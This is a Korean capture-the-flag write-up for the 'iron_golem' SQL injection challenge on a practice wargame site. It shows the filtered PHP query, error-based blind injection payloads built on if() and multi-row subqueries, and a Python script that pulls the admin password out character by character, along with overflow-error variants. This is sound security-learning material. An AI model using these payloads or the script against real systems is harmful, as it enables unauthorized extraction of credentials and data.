Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
해당 문제의 조건은 위와 같다. sleep 과 benchmark 가 필터링되고 있는 것이 눈에 띈다. 이 둘은 Time Based SQLi에 사용될 수 있는 문법들이다. 처음에는 두 문법이 필터링 되었으니, 헤비쿼리를 시도해보고자 했다. 하지만 실패했고,
exit(mysqli_error($db)); 와 같이 mysql 에러가 출력될 수 있음을 확인했다. 그래서 error based sql injection을 이용하기로 한다.
' or id='admin' and if(length(pw)=32,(select 1 union select 2),1)%23
먼저 pw의 길이를 구하기 위해 mysql if문과 union select 를 이용해 줬다. if문은 if( 조건, 참일 경우 출력 값, 거짓일 경우 출력 값) 과 같이 동작하기에 pw의 길이가 32글자가 맞다면, select 1 union select 2 와 같은 구문이 동작된다. select 1 union select 2 구문이 동작할 시, Subquery returns more than 1 row 에러가 발생한다. (서브쿼리를 통해 한개 이상의 값이 반환되었음을 알리는 에러이다. )
그렇다면 참일 경우 해당 에러가 계속해서 발생할 것이다. 이를 토대로, 아래와 같은 python 코드를 구현 및 실행해준다.
사용된 코드
import requests
import string
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw= ' or id='admin' and "
cookies ={'PHPSESSID':"01pfpjq732k9rliu9vod6r0joj"}
result=""
for i in range(1,33):
for j in range(32,127):
param="if(ascii(substr(pw,"+str(i)+",1))="+str(j)+",(select 1 union select 2),1)%23"
# param="ascii(substr(hex(pw),"+str(i)+",1)) = "+str(j)+"%23"
URL = url+param
# print(URL)
response = requests.get(URL, cookies=cookies)
# print(response.text)
if "Subquery returns more than 1 row" in response.text:
result += chr(j)
print(result)
break
print("pw: "+result)
실습 ( mysql if 구문 사용 및 서브 쿼리 등에 대한 실습 진행 )
위 그림 2는 mysql의 if문에 대한 실습을 진행한 예제이다. if 조건이 참이되어, subquery가 실행 시, 에러가 발생하고 있음을 확인할 수 있다.
위 그림 3의 빨간 박스를 보면, password의 길이가 32글자 이면, 참 조건에 해당하는 쿼리를 실행한다. 컬럼 5개가 출력된 이유는 members 테이블의 각 행에 대해 select 문이 실행됬기에 결과 집합은 각 행에 대한 결과를 포함한다. 마지막만 no 가 출력된 이유는 마지막 컬럼의 password가 32글자가 아니기 때문이다.
이제 보라 박스를 보도록 한다. 참일 때 조건에 sleep(2) 이 실행되도록 하였고, 실제 결과는 8초에 걸려 반환되었다. 마지막 컬럼이 false 이므로 실행되지 않은 것을 생각하면 모든 행에 대해 if 문 조건을 걸었음을 확인할 수 있다.
마지막 그림 4는 iron_golem 문제와 동일한 쿼리를 작성해 결과를 본 실습이다.
문제의 query 형식 : select id from members where id='guest' and pw='{$_GET[pw]}'
select id from members where id='admin' and password='' or id='guest' and if(length(password)=32,(select 1 union select 2),1);
추가적으로...
위 그림 5는 pow()를 이용해 mysql에서 허용 될 수 있는 최대 정밀도를 초과해 에러가 발생하는데, 위와 같은 에러를 if문의 참 조건으로 하여 문제를 해결해 볼 수도 있다. 또한 ?pw=%27or%200xfffffffffffff*0xfffffffffffff%23 와 같이 Integer 범위 초과 에러를 통해 문제를 해결해 볼 수도 있을 것 같다.
참고
데이터베이스 별 Error Based SQLi
https://www.bugbountyclub.com/pentestgym/view/53